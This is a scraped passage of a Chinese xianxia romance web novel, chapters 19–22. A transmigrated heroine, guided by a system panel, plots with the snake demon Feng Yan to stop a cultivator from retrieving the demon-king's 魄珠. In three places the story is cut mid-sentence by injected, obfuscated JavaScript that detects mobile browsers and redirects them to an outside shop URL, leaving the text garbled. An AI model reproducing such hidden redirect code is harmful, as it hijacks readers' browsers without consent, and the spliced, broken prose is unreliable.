风宴垂下眼睫,盯着被他揽在怀中的阮清木,日光映得她白皙的肌肤更加透亮,他的指腹游走在她脖颈处凸出的青色脉络,轻抚上去,能感受到脉络的跳动。 还敢说他是脏东西? 他用力将阮清木往怀中一揽,将她扯回方才的位置,阮清木失控地倒退几步,堪堪扶住门槛。 她没想到风宴居然会这么大胆,在温疏良的面前干扰她就算了,居然还搞出这 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只是若是换了旁人,他早就轻松抽身离开,但阮清木那双春水动人的眸子实在是勾人,且她样貌细看起来与性格相较又带着几分反差。 她的美是旁人见了不敢与之亲近的疏离,但她却为了他故作出讨好的样子。 换作任何一个人都不忍说出令她伤心的话。 温疏良点头:“当然,你表哥若是不在,我便护着你。” 19. 第 19 章 他的唇抵了上来,下一秒就咬住了阮清木的下唇。 她身子猛地一颤,唇瓣传来钻心的痛楚,紧接着血气的腥甜味道弥漫在彼此的唇舌之间。 风宴咬住她的唇,喘息声加重,他的怒意全然宣泄出来,力道加重,鲜血流入他的口中,润过他的舌-尖,他喉间滚动,吞了下去。 阮清木的后颈被死死扣住,眸光颤动,世界顿然寂静无声,心口处的半颗心逐渐喧嚣起来。 她用力欲将她推开,风宴却纹丝不动,依旧咬着她的唇瓣,扣在她后颈的手不容她向后退去。 只是啃咬,根本就是发泄情绪。 她怒火中烧,四肢百骸间逼出一股灵力,猛地锤在风宴的胸间,他闷哼一声。 这才终于松开了口。 风宴一只手抵在墙上,另一只手钳着她的脖颈,他的双眸不知何时化成了幽绿色的竖瞳,垂眸看向阮清木惨白的脸,唇间鲜红,血线顺着她唇角流下。 他忽地抬手,指腹沿着她的唇轻轻划过,如给她涂口脂般,动作轻柔。 啪的一声,阮清木抬手就扇了过去,她胸口猛烈起伏,手颤抖着悬在空中。 如若此时手中有一把匕首,她说不准会直接捅过去。 可惜就算是真的捅了,她也捅不死他。 风宴的头偏至一侧,他缓缓扭过头,阴邪的视线黏在阮清木悬在半空未落下的手中,顺着她骨节分明的五指,划到掌间密布的咒印。 好似下一秒会一个冲动再次咬上来。 惊骇的怒意聚集在阮清木的眉眼间,被他咬破的嘴角仍溢着血线,苍白的面容惨淡得仿若艳鬼,死瞪着他。 风宴伸手扼住了她的脖颈,寒意顺着阮清木的颈间直袭肺腑,可她的目光毫不躲闪,将手颤抖得搭在他的胸前,指尖汇聚灵力,金芒闪烁,竟凝出如匕首般锋利的树枝。其中一根的尖端已扎进他的心口。 “你明知道这样杀不死我。”他冷冷地开口。 她杀不了他,但只要他稍微用力便可折了她的脖子。 可阮清木的眸光毫不躲闪,就算真的杀了她,她也不会退让分毫。 脖颈间的力道陡然消失,他忽然捂住她的眼睛,阮清木陷于黑暗之中,但只一瞬,视线恢复,风宴却已然消失在她的面前。 取而代之的是一缕微风拂过,她瞪大的眸间只剩茫然。 只有心口处如擂鼓般的心跳提醒着她还活着。 这心跳声着实令她心烦意乱,她只觉自己整个人都要被怒火烧了起来,拳头攥得死死,人都快气过去了。 这才不是她的心跳。 — 温疏良自竹胥居离开后,便转头去了洵青境。 脱口而出的那句要护着她的话,着实让他心下一惊。他细细想来,不过是自己的英雄意气的想法,对她的恳求难以拒绝罢了。 眼下他可不会被这些乱了心神,宗门内出现妖魔作祟,地下灵脉又一直被损。此时便是需要他来替师父把持这些。 他师父祝奇徽虽看着不过三十几岁,却早就是几百岁的老头了,只不过这老头臭美,见人总要以自己年轻样貌示人。 师父这般年纪,若再过个几十年还没有得道飞升,怕是这身子骨也难以再维持长生下去。 上次琴殊音提起的长生树…… 怕不是这一切祸事的源头。 就这么一路走着,他早已将阮清木抛至脑后,顺着一道道回廊走了许久,又绕过一大片竹林,走至河沿,穿过腾空的石桥。 他便望见云渡珩在洵青境中的灵池旁练剑,青山碧光,落花逐水。他的五感早已练化到极致,千步之遥,他便清晰地看见云渡珩的一招一式,剑影如流水。 云渡珩自然也是瞧见了他,手中剑法愈发狠厉起来。温疏良终是逐渐走近,云渡珩全没了方才只是随手练剑的架势,她掌间运力,剑势凶狠,分出三道剑气,直袭温疏良的面门。 铮的一声,剑气震荡。 温疏良侧身躲过,他轻笑道:“这么大火气?” 云渡珩剑锋一转,指向温疏良。 “不是你害我被罚了禁闭吗?” 温疏良神色没什么变化,他指尖轻点在云渡珩的剑上,将剑从自己的面前推开。 他着实想不通云渡珩看样子也是个机灵的姑娘,为何就看不清那炎昀,要让他看,他第一眼就觉得有问题。 “你是不是蠢?”他忽然开口。 云渡珩愣住:“你说什么?” 温疏良懒得和她解释,倒也是一向对她忍耐惯了,毕竟是祝奇徽门下的同门亲师妹,要不以他的资质和傲气,怎么会对脾气这么冲的人有这般耐心。 “门内昨夜三位长老被杀。” 云渡珩脸色一变,更是震惊:“什么?” 温疏良缓缓开口:“三位长老都是玄风道君宫中的,是有人要逼她出关。不过师父的意思是,灵脉更为要紧,要我过段时日下山处理。等我走了,你就去师父那,帮他老人家多操持些门内事务。” “玄风道君宫内三个长老被杀就不管了?”她怒声问道。 温疏良被她吵得头疼,皱起眉:“自然是要管,但……” “眼下并查不出是何妖魔所为,只能多加几道仙宗的禁制,多加防范,再等玄风道君出关处理。若是她本人对此都无动于衷,那我们又能做什么?” 宁雪辞已闭关百年,宫内门下的弟子有资质的,早已分给其他各宫。四宫宫主本人之间的关系就一般,到了各自的徒弟那层,自然是只听自家师尊的安排。 云渡珩没作声,算是认同温疏良的说法,只是她又想了一下,忽然开口:“凭什么你下山?我也要去。” 温疏良睨了她一眼:“你不是要禁闭?” “而且你若下山,又要带着你那个灵宠。” 云渡珩听不得温疏良把炎昀唤成她的灵宠,她提剑就是一挥,“带他怎么了?我就要带着,我带在身边你都要欺负他。你不提还好,我一想起来就更生气!” 温疏良连忙闪身躲着她乱劈下来的剑势。 “你故意引那几个修士去他身旁,故意逼我出手杀了那个修士,现在害我禁闭,你自己下山。”云渡珩越说越激动,手中剑气快得让温疏良不得不运起灵力抵挡。 温疏良携起一道没那么锐利的风刃迎在她的剑身,将她灵剑击落。 云渡珩手中没了剑,站在那干瞪着他。 他掌间风力涤荡,落在地上的长剑被他吸入掌间,又赶在云渡珩的灵剑伤他之前,将剑丢回她手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16159317|180167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中。 “你想去就去吧。”温疏良被搞得烦了,转身就欲离开。 云渡珩忽然又喊住了他,“那几个发狂的弟子呢?最后如何处置的?” 温疏良脚步没停,头也未回,“还能怎么处置?等他们恢复了神志,就逐出仙门了呗。不过是外门弟子,又因为邪术着了魔,仙宗自然不能留他们。” —— 落寰宫,坐落于云霄宗的整个峰顶的宫殿,彼时夕阳映下,殿外如被金日笼罩一般,灵气萦绕,仙鹤环绕齐飞。天边的浓云聚集,却不遮半分的日光,山顶处蜒流下一道通透碧绿的玉髓灵脉,直通落寰宫的灵池之中。 殿外的几百道玉阶之上分别站了三排衣冠楚楚,雪白道服的弟子。 因今日仙宗门内三大宫宫主在这落寰宫内共商要事,所以各宫门下的弟子皆在殿外等着。 大殿之内,云榆生坐于上首之位,眉宇间略带凝重之色。两旁分别落座的是祝奇徽和琴殊音,余下弟子侍奉完便都退下。 琴殊音看了眼这都不开口的俩男人,她哼了一声:“都不说,我说了?” 云榆生自然是清楚她要说什么,摆了摆手,“仙宗的灵脉之事,我与玄影道君已经商议过,灵脉混乱是山外的一道圣器导致的。长生树无事。” 祝奇徽面上带笑,开口道:“是了,玄风道君虽在闭关,却也与我传讯。北境妖域中百妖王这千百年间,炼化了一道圣器,只是这圣器落于妖的手中,便成了邪物。以天地灵脉为食,如今也已波及到其他仙宗。” 云榆生在玉座之上换了个舒服的坐姿,接过祝奇徽继续说道:“让门内弟子将那邪物带回处理,灵脉之事便解决了。” “带回?”琴殊音眉心蹙起,“既是邪物,为何不直接销毁,怎能将其带回来呢?” “玄音道君,你且仔细想想,在那妖物手中自然是个邪物,可在我们手中,那便又做回了圣器。百妖王将其炼化千年才求得此物,直接毁了,岂不可惜?” 祝奇徽眼底含笑,说着话慢条斯理。 “况且我等皆为修道之人,立身于天地,就是为了帮世人镇邪祟,消灾祸。如今就连云霄宗都受其影响,更何况山下的苍生百姓。必然已被那邪物折磨许久。将那邪物带回,为我们所用后护百姓安宁,才是修行真意啊。” 琴殊音斜眼看着祝奇徽一脸正气的神色,心中早已将这虚伪的样子骂了百遍。如今这云榆生和祝奇徽是摆明了站为一队,她就算想反对,也毫无作用。 “既然你们都已知晓那邪物,我倒好奇,是何等器物能够有这么大的本事,波及诸多仙门。” 云榆生捋了一把不存在的胡须,笑道:“此物名为——魄珠。” 滴的一声,竹胥居内,阮清木的系统面板忽然弹出。她没好气地扫了一眼,又是什么任务? 只见上面密布着几行字,无非是告诉她,目前要进入书中的主线剧情了。而她作为原书中的妖女,比勾引温疏良更重要的事,便是与仙门作对。 所以面板之上,任务的结尾赫然几个大字: “以任何手段,阻止温疏良带回魄珠。” 阮清木揉着嘴角的动作顿住。 她不可置信地又看了一遍任务。 “认真的?” 20. 第 20 章 阮清木倚在一扇镂空的窗棂前,心不在焉地有一搭没一搭用指尖轻叩着窗边。 绿柳朱梁,明光如水般洒在她随意披在身后的墨发,唇角仍带着血痂,眉目间一抹愁容。 自从系统给出她了这个艰巨的任务,她便思绪没断过。其实她也不知原书中阮清木有没有成功阻拦温疏良将那颗魄珠带回,但她这个反派定然是从中作梗了。 只是她现在比原身处境要更难一些。原身一直是打着明牌的妖女,可她现下在云霄宗。 必然不能明着与他起冲突,那就只能混到他身旁,跟着他去取那颗魄珠。 然后呢? 她有那个本事在途中将那玩意毁掉? 忽然间她就想起了风宴…… 只是自从他发了疯后逃走,便没再出现过。阮清木又回忆起他那张嘴巴的力度和她嘴角的痛楚,便没心思再想他了。 要指望他,说不准下一次又要咬她哪里呢。 如何才能混入其中与温疏良同行呢…… 昏黄烛火下,桌案中间摆着何言留给她的传讯玉符,她缓缓收回视线,心中浮出一个想法。 系统其实给她提供了一套路线,那颗魄珠所在位置是妖域和冥域的交界之境,若要前往定要从云霄宗一路北下,途经凡间城镇,才能抵达玄虞大陆的北境。 若她先于这群人出发提前到了城镇,到时可制造个偶遇,混入队伍中同行。 可是他们那群人是御剑的,她两条腿走着去就算是提前半年出门也追不上。 怎么这么难啊! 她倚靠在窗前阖上眼,灯台黯淡,暖风拂在身上让人昏昏欲睡。只是她刚阖上眼,透过镂空的窗棂便幽幽飘进一股熟悉的冷檀香气。 脸倏地被掰了过来,一晃而过的手影忽然将粒圆溜溜的东西投到她嘴里。 唇边刚触到一丝沁凉,齿尖已下意识地咬住,口中瞬间绽开酸意和轻甜,似除熟的青柠,却没有半点苦涩,只余满口莹润的酸甜。 她愣住,半响还在回味。 阮清木睁开眼,看见风宴隔在窗外,一袭玄衣,墨发未像往常般束起,而是随意披在背后,那双近乎妖异的眉眼正盯着她的反应,等了半天,他蹙眉:“你怎么这个反应?” 阮清木回过神来:“啊?你给我吃了什么?” “毒。” 阮清木咂咂嘴,点头道:“那这毒还挺好吃。” 他视线扫见阮清木还肿起的唇角,鬼使神差地将手抬起,想了想,又默默地放下。 “在生气?” 阮清木顿住,没再看他,只起身离开窗边,往床榻上坐去。 风宴眉心还是第一次为这种事情而蹙起,有些不知所措地僵在那,强压下心头那股陌生的烦躁,他翻窗而入,走到阮清木的床榻旁。 不知从哪变出一个小包袱,包的圆圆滚滚,丢在阮清木的面前。 “不是说好吃吗。” “都给你了,吃吧。” 阮清木只觉怀中一沉,低头看见个包得圆滚滚的包袱。她将其拆开,这才发现里面装得满满的果子,形状大小都恰似青柠,但颜色却是雪白的。 “……” 她将一小包果子放到一旁,没理他。 心口处的半颗心猛然沉了一下,她整个人躺到床上,刻意没给留下什么位置。 风宴将头歪到一侧,似乎是在思考和判断,最终还是僵硬地走到她身旁,拉住阮清木的手腕。 阮清木看向拉住她的那只手,骨节分明,手指修长,箍住她手腕一圈还余出几道骨节,和往常一样,冷得像个死人一般。 他几乎没怎么用力就将阮清木拽起身,然后面无表情地半抱起她,将她往床里送了送。 阮清木只瞪着他,他却全然不在意,指尖一捻,从小包裹中拾起一颗果子,又塞了一颗进她口中。 一条小白蛇从床底爬出,慢悠悠挪到阮清木的脸旁,吐出信子讨好地舔着她的脸。 她毫不留情一把扯过,捏住小白蛇的蛇身。 风宴连忙拦住,修长手指如灵蛇一般探入她的指缝,指尖一勾,三两下便从她紧攥的掌心间夺下那条白蛇。 阮清木慌乱间揪住白蛇的尾端猛地一拽,风宴身形凝滞,喉间溢出一声闷哼,眉心蹙起。她慌忙撒手,指尖还留有蛇鳞冰凉的触感。 捏起来软软的,手感很好…… 风宴神色掠过一丝不适,却又迅速归于平静。 “还生气吗?不然给你玩一会。”他僵硬地开口。 “谁要玩这个……”阮清木坐起来给风宴挪了位置,“如果你能帮我送去一个地方,我就不生气了。” 风宴闻言,便自然地在她身旁坐下,“要去哪?” 她想了想,才缓缓道:“北境靠近妖域的洺方镇。” 系统给她安排任务时,面板上的地图曾闪过洺方镇的位置,温疏良那行人要进入妖域,必然要经此地。 她拾起个果子吃着,酸意顷刻间浸蛮她的唇间,再随着甜味的蔓延,酸甜交叠在她口中,像浸了蜜的小青柠。 风宴手中的小白蛇见她吃得正欢,吐着信子也爬了过来,在她腿上缠绕一圈,随即又顺着她的腰身向上爬。 “去那做什么?”风宴几乎是下 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谁料小蛇刚碰到那果子就嗖得一下爬走了。 阮清木捏着果子的手还停在半空,她看着那颗碰过蛇嘴巴的雪蔻。 碰到它嘴巴了!这谁能吃? 她扫了一眼风宴,风宴也正好也撑头盯着她,观察她的反应。 “这个碰到蛇的嘴巴了。” 风宴点了点头:“所以呢?” “所以……”阮清木把雪蔻怼到风宴的嘴边,“你吃吧。” 风宴蹙眉,一瞬间好似唇齿间又重现了极致的酸,他刚要将那果子给丢远,忽然想起来什么,换了副神情。 他似笑非笑地盯着阮清木:“就因为碰到了蛇的嘴,你就不吃了?你嫌弃它?” 阮清木盯着手中那颗雪蔻,她犹豫一瞬,决定点头。是的,她嫌弃。 “方才说,要去哪来着?” 她心里暗骂了一声,抬眸,瞥见风宴那不由分说的笑。只好将指尖调转方向,把那颗雪蔻放进口中。 “怎么会嫌弃蛇蛇呢?我喜欢还来不及呢。” 为达目的真是什么话都能张口就来了。 可是话音落地,整个屋内顿时一片寂静。 烛火的光线映得少年的眸子明亮,他漠然地望向她,镂空的窗棂忽然被风吹得一声作响,紧跟着阮清木胸膛内的半颗心猛然跳了几下。 “表哥满意了?”她也学着平日里风宴歪头的样子,静静地看着他。 21. 第 21 章 内室烛火轻晃了晃,映在阮清木清冷的脸庞,她眸中带有不解。魄珠既然是百妖王的妖心,那温疏良要如何将其带回?像她一样,直接剜的? 可是剜出来便是个死物,没有用处了。 风宴似是看穿她心中所想,他缓缓开口:“像他这种修为的确实可以依靠灵器将妖心炼化,只是那魄珠的功力便会大为折损。” “先前我一直未有所行动,是因为时机未到。既然眼下有他人也盯上这魄珠,那就不能再等了。” 烛火光亮映于他的眼中,风宴平静地看着她。 阮清木点了点头:“表哥,我既然同你说了这个事,我就是站在你这边的。” 我支持你抢了这魄珠。 他眼底的浮出一丝戏谑的笑意,刚要开口,忽然自窗外飘进一小撮灵火,随着夜风飘进,火苗甚小,甚至不及桌案上昏暗的烛火。 风宴将手将那灵火引至手中,安静地在他手中泛着微光,似在传递什么讯息。良久,他终于指尖一捻,将那灵火湮灭。 “确实如你所说,他们明日动身。不急,先让他们一日。”说完他便慵懒地往阮清木的床榻上一躺,然后又自然地拍了下阮清木身后的床。 阮清木见他一副早已习惯的熟练样子,抬手扯了下他玄衣的衣角,“今晚不许你睡这,原因你自己想。” 风宴:“……” - 破晓时分,天光微亮。 昭重殿内,精雕细琢的玉石龙凤盘绕梁柱之上,挂于帷幔上的铃铛随风起伏发出清脆声响。 祝奇徽负手而立,身着雪白道袍一尘不染,仙风道骨。他自掌中幻化出一道金光,悬在温疏良的面前,一个巴掌大小的方印,周身布满了密集的金色符文,缓慢绕着方印流转。 仔仔细细将那方印又查看了一番后,才示意让温疏良上前一步。 温疏良身后则站着四名身着修士服的弟子与他们二人隔了几步距离,在玉阶之下,身段挺立,气场与普通弟子相比全然不同。 祝奇徽幽幽开口道:“此物是炼元仙印,乃是我仙宗传了八代的上古神物,可将妖物魔煞尽数锁如其中,也可将其直接炼化。为师今日便把这交于你了。” 温疏良刚要接过,祝奇徽又是嘱咐:“记住,传了八代的上古神器,你小子就算没把百妖王带回,也得把这东西给我拿回来!” “……” 身后一弟子不慎笑出声,平日里祝奇徽便是这个性子,对门下弟子十分宽和纵容,对他而言,收徒全凭眼缘。若是他喜欢的弟子,哪怕资质稍差些,也会带在身旁,不论出身。 他佯装厉色扫了一眼后面忍笑的弟子,“卿羽,莫要将这当成儿戏,此番下山镇妖,可与你之前的经历不同。” 又换了一副从容的神色,他慢悠悠接着说道:“这百妖王必然戾气极重,你持此印,若是时机正好,便将他直接镇入印中。那魄珠在他体内,不要贸然暴露你要取魄珠的行为。只将百妖王擒回,为师来将他那颗魄珠炼化。” 温疏良点头道:“弟子知晓,师父放心罢。” 祝奇徽摆了摆手,“去吧。” “师父。”温疏良紧握着手中那枚方印,对着祝奇徽那道伟岸的背影,他上前一步,还是问出了心中疑惑:“师父,将百妖王带回炼化他体内的魄珠,这件事,是为了苍生百姓,也为了云霄宗,对吧?” 为何不将其直接封印镇压,却是将其带回? 他不想对着师父质问这些,但还是希望能从他口中得到一个让他心安的答案。 祝奇徽回过身来,年轻的容颜间看不出任何喜怒,他看着温疏良,浮出一丝笑来:“当然,那邪物即便是封印住,千年之后仍是后患无穷。要想彻底解决,必然要将其带回。” 温疏良将方印收回掌中,“好,弟子定当不负师父重托。” 身后四名弟子立即跟上温疏良的脚步,这几人均是祝奇徽点名要他带着一起下山历练的。 他面无表情地走出殿外,那名为卿羽的弟子立即凑上去,“温师兄,那方印当真是传了八代的灵器?那不有几千年了,到时候你镇压百妖王,能不能让我站第一排,我们共启这阵法,哈哈等我再回仙门,我那小师妹……” 话未说完,就被温疏良随手掐诀给定住,宋卿羽一动不动站在碧潭边上,眼看着剩下几个弟子和温疏良踏上玉桥,将他一人留在原地。 吵死。 如果不是祝奇徽的嘱托,他甚至只想自己下山,带上这些弟子与他而言反而是累赘。 宋卿羽站在桥下,急得眼珠都要瞪出来,却动弹不了半分。这几人离了云霄宗的主殿就要御剑下山了,现在把他定身在此,摆明了不带他一起的意思。 他死命地运起全身的灵力,却挣脱不了温疏良随手捏的决。 不是?凭什么?师尊都点名叫他一起去,他个温疏良算什么东西也能违抗师尊号令,将他单独留下? 凭什么啊! - 与此同时,云霄宗内的某个角落里,几个消息灵通的弟子正围坐一团。 “听说了吗,最近仙门灵脉混乱不堪,我们倒还好,外门弟子是一个接一个地出事。现在玄影道君让温疏良下山处理此事,也不知到底是何原因,为何只有外门弟子频繁走火入魔,我们内门却不受影响。”那弟子发中插着个玉簪,穿着自己的锦衣常服。 一个女弟子接话:“还能有何原因,我们资质本就好于那些外门。据说是他们自己私下里修了邪术才走火入魔。” 此言一出,当即有人反对:“灵脉绝对出问题了!上个月云渡珩原本即将破境结婴,谁承想几次三番都未成功。那可是天资过人的云渡珩,就连她都受影响,更何况其他人呢。” 角落里一直一言不发的弟子忽然开口:“其实,我有个发小兄弟是在外门。他最近给我的感觉就如同换了个人。但若要我细说,却又说不出究竟是哪里变了。他的言谈举止,音容相貌都与先前没什么分别。可就是……” “就是什么?”那穿着常服的弟子问道。 “就是,他有时会分不清我们现在是何年月。仙门的时间本就和凡间流速不同,这我们都知晓。” “可上次见面,他居然问我最近有没有同家人联络。我和他均在仙宗修炼数几十载,凡间已过百年,亲眷早已不在人世。可他却记不清了。” “我提醒他后,他竟茫然许久,过了会才有所反应,还笑着和我说多亏我提醒他,那笑容诡异得简直都不像个活人。”他越说眉头皱得越紧,众人顿然陷入沉寂。 “……那前几日发狂的弟子中,有没有他?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16186808|180167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方才还反对的女弟子低声问道。 他摇了摇头:“没有,那事一出我便赶忙去寻他了,他还是那副模样,除了那次分不清年月,其他时候什么也看不出。” “他们外门弟子不像我们这般终日就只专心修炼道法。平日里的洒扫,对地下灵脉的看护还有一堆琐事都是交给他们外门弟子。只有这些琐事做得好了,才能有机会得长老的一二点拨。所以他们不太可能会敢自己修炼邪术,就算有那胆子,也没人教他们啊。” 说完他叹了口气,竟替自己的发小兄弟心酸起来。 其余几个弟子见状连忙安慰他,“没事,这几年仙宗对内门的考核放宽了很多,而且对外门弟子也逐渐重视起来,上个月还有两波外门弟子被师兄带着下山历练了呢。” 话音刚落,突然间空中平白闪出几道白闪,欲携风雨来袭。众人不再多言,趁着雨势来前便互相散去。 - 夜深时分。 阮清木在云霄宗一座不知名的小山顶上百般无聊地坐着。春夜暖风徐徐,月圆高照,山峰一片桃林开得正盛,阮清木在桃林中,没穿修士服,只一身柳绿的衣裙,任凭花瓣落至她的青丝和绿裙之上。 昨夜她已和风宴定好,他将她送到洛方镇,到时她负责扯个理由与温疏良同行,至于风宴就先去妖域。二人分头行动,里应外合。 桃林过于安静,她靠在树旁阖眼打着盹,只因每夜和风宴在同一张床上歇息,她都睡不好。主要还是不太习惯孤男寡女之间同床共枕。 她闭着眼,身后响起落叶被踏过的响动,还没睁眼,身子就忽然一轻,被风宴的气息包围。 风宴将她抱起,一身紧身黑衣,那衣料在月下泛着暗光,没有一丝褶皱,勾勒出宽肩窄腰的身段,再加上他那张俊俏的小脸。 阮清木觉得此时允许自己心口处的半颗心稍微跳那么一小下。 可惜,好像没什么波动。 她在风宴的怀中莞尔一笑:“表哥,你会不会御剑啊?等下是不是就这样抱着我御剑飞下山去?” 风宴蹙了一下眉,将她在怀中轻颠了一下,调整抱她的姿势,“带你飞还需要御剑?” 阮清木:“那不然怎么飞?” 她被风宴抱着一路走到山顶的悬崖边上,夜风忽然变得有些凉意,她往下扫了一眼万丈深渊,往风宴怀中缩了一下。 “不会要把我丢下去吧?”阮清木抬眼看向风宴,“你应该舍不得,毕竟把我丢下去你还得捞我。” 风宴忽然笑了,轻声道:“你想怎么飞?” 阮清木一愣,这怎么飞还能有选择的吗?可是她初来乍到对这里的世界观了解得尚未全面。修仙的应该是御剑飞行,修魔的难道腾云驾雾? 她想了想回道:“怎么飞都行,主要是我也不知道表哥会什么。” 风宴抬起头,看向夜幕中的聚集的浓云,云层很低,站在崖边好似伸手就能触到。 他唇角噙着一丝笑意:“那就搞个声势浩大的。” 阮清木未来得及有所反应,她只觉腰身后风宴的手臂猛然发力,她下意识暗道不好,没等再揽住风宴的脖颈,她整个人就被猛地抛出,径直飞向空中,而身下则是万丈深渊。 她身子迅速下落,脑中一片空白。 ————!! 22. 第 22 章 阮清木身体失重开始急速下坠,狂风在耳边如虎啸般嘶吼,她吓得浑身血液都凝固,忽而身下一软整个人被稳稳托住。 只见天地间蓦然出现一条身型巨大的黑蛇,如墨般的蛇鳞遍布全身,黑蛇扶摇直上,转瞬间就飞出千里之外冲破云霄,遨游于天穹之上。 世间万物都在为这忽现于天际之中的巨蛇而震颤。 骤然云涌风起,顷刻滂沱,巨雷劈下,而它周身却化出一层无形结界将雷雨隔绝,瓢泼落雨和阵阵惊雷在寂寥的空中更显压迫,黑蛇却狂傲肆意地飞游于天光中,搅得天地都在怒吼。 如果不是亲眼所见,阮清木简直不敢相信,她这辈子还能见到如此震撼的场面。 风宴稳稳将她托住后猛然冲进云间,坐落几座山顶间的云霄宗被突来的电闪雷鸣劈得如同白昼。 泛着幽绿光芒的巨大蛇身在浓厚的云层间肆意穿梭,蛇尾一扫便卷出狂风,袭倒一片树林,惊得山中不少弟子出来查看发生了何事。 阮清木不知被何术法固定在他背上,坐得稳稳的,只是这场面实在太过骇人,她将头埋在蛇鳞中,看都不敢看一眼。 越来越多的修士惊得跑了出来,但只见了那空中巨物一眼,饶是有百年修为,也被吓得腿都打颤。 “魔……魔物!” 这等级别的巨蛇,藏于云间见的那双竖瞳泛着如鬼火般的幽绿光芒,好似对视一眼就能噬人心魄,如同恶魔。 “结……结,结阵啊!愣着干嘛呢!”有人开始在人群中厉声大喊。 可是更多的是被吓傻在原地的修士。几大宫的长老们也纷纷现身,第一眼见了风宴的蛇身,也是被震撼得愣在原地。但毕竟是长老,立刻站出五六个人默契地迅速飞身前往山顶。 风宴狂妄地哼了一声,转身送那几个飞身而来的长老一道横扫的蛇尾,雷闪顺势劈下,那几个长老连忙缔结防御术法。 黑蛇继而直朝天幕更深处呼啸而去,汹涌的雷鸣浩然响彻山间。 骤雨无情砸下,黑蛇顷刻间消失于夜幕之中,只留下峰顶的几个长老和山中的惊魂未定修士弟子。 阮清木始终被一层透明结界罩着,稍微适应了风宴的速度,她终于敢抬起头来,回眸望向身后山中的云霄宗,早已近乎消失在雨幕中,只剩下一个小黑点。 可见风宴速度快得恐怖。 “表哥……”阮清木趴在风宴的背上,声音有些抖。 黑蛇微回过头,露出那泛着幽绿光芒的竖瞳,一道雷闪,映得他的瞳仁一瞬间发白。 “你好帅啊!” 她现在被震撼得也只会说这种朴素但简洁明了的词了。 黑蛇得意得略晃了晃蛇身,身侧飓风骤起,速度更快地俯冲而去。 —— 风宴的速度实在是太快,到了凡间北境百姓所居的城镇时,天都没亮,阮清木在他背上眯了一会。黑蛇早已收敛全部气息,隐身停在城中一座客栈门前,他敛去蛇身,变回原本的样貌,顺便将阮清木又抱回怀中。 等她再睁开眼时,发现自己已经在客栈的床上睡到天亮了。 人声鼎沸的声音自窗外闯了进来,她起身看了一圈,房内陈设布置简单,只是不见风宴的身影。她到窗边将那雕花木窗轻轻一推,便见到整条街景。好像是这座城中最繁华的主街,青石板路上几个行人,街旁店铺繁多。 她下意识地蹙眉,这是洛方镇吗? 不过阮清木还是第一次见到这份独属于凡间的烟火气,毕竟她刚穿进来时整日里东躲西藏,怕被原主的仇家找上门,又得去荒郊野外找死人的心脏,哪有机会进城。 她倚着窗多看了一会,视线随着下面的人流缓缓移动,掠过几个喧嚣的铺子,她忽然就注意到斜对面的一间雅致店面。 店前聚集着些衣着华丽的小姐们,身后均带着几个侍从。从人群中挤出个瘦小的人影,阮清木定睛一瞧,这不何言吗? 何言一身鹅黄长裙,因为只有她一个人在人群中挤来挤去,所以格外显眼。手中还提着刚才铺子里买好的小食盒,眨眼间就进了阮清木身处的客栈。 这么巧? 阮清木想也没想,便推门而出,径直在客栈楼梯上将何言拦下。 去路被挡住,何言先是一惊,待抬头看清来人是阮清木更是一激灵。 “你怎么在这!”她脱口而出,声音大得将楼下几桌客人惊得纷纷回首看了过来。 阮清木示意她低声,拉着她就往楼上的房间走去,“你不是说要回家处理家事吗?” 何言点着头:“是啊,我是要处理家事才来这的……”她忽然顿住,“不是,那你为什么在这啊?” 二人进了屋,阮清木合上门,才回道:“我……是来找温师兄的。” 何言将手中的小食盒放下,面露讶异:“他下山了?来这做什么?” 阮清木只好将温疏良受师尊嘱托下山解决灵脉之事简单地和何言讲了一遍。 何言边听着,边从食盒中那出一块桂花酥塞到阮清木的嘴里,刚好就瞥到她还留着血痂的唇角,猛然一惊:“啊!你怎么被人打了啊!” 阮清木也被吓了一跳,但还是精准接住何言手抖掉下来的桂花酥,“倒也不是……” 陡然间,何言就凑近过来,她仔细看着阮清木的下唇,伤痕确实不像被打出来的,唇角略肿着,更像是被亲…… “啊——!”她又一声大喊,阮清木半颗心都快被她吓出来了。她沿桌撑着额角,有些无奈地闭了闭眼。 何言咬牙切齿低声问道:“是你那个表哥?” 见她默不作声的样子算是默认,何言一屁股坐回椅子,叹了一声:“怪不得你会跑下山。” “那你呢?你来这边又是做什么?”阮清木问道。 何言倒没先回她的问题,反问道:“温疏良要去的地方是不是北域妖冥交界之地?” 阮清木点了点头。 “算了,还是告诉你吧,反正我从云霄宗一走,便做好了不回去的准备。”她神色间浮上一层凝重,“我爹他是鬼修,虽终日里不得离开冥域,但每隔一段时间他都与我们保持联络。” “但上个月起,他就音讯全无了。” 阮清木则是一脸茫然:“鬼修?” 何言继续说道:“修道者三魂七魄,若是寿元耗尽未得道飞升,会有人选择强行留下自己的三魄,借尸还魂,遁入鬼道。” “原本我是打算一个人去冥域寻他,可那鬼地方煞气极重,哪是我这种修为能抗得住的。所以我便想着到那交界处,试试能不能把我爹那老鬼给招出来。” “不过你既然说温疏良刚好也要去妖域,那我何不跟你们一起同行?左右比我自己一人要好得多。但云霄宗乃仙门正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 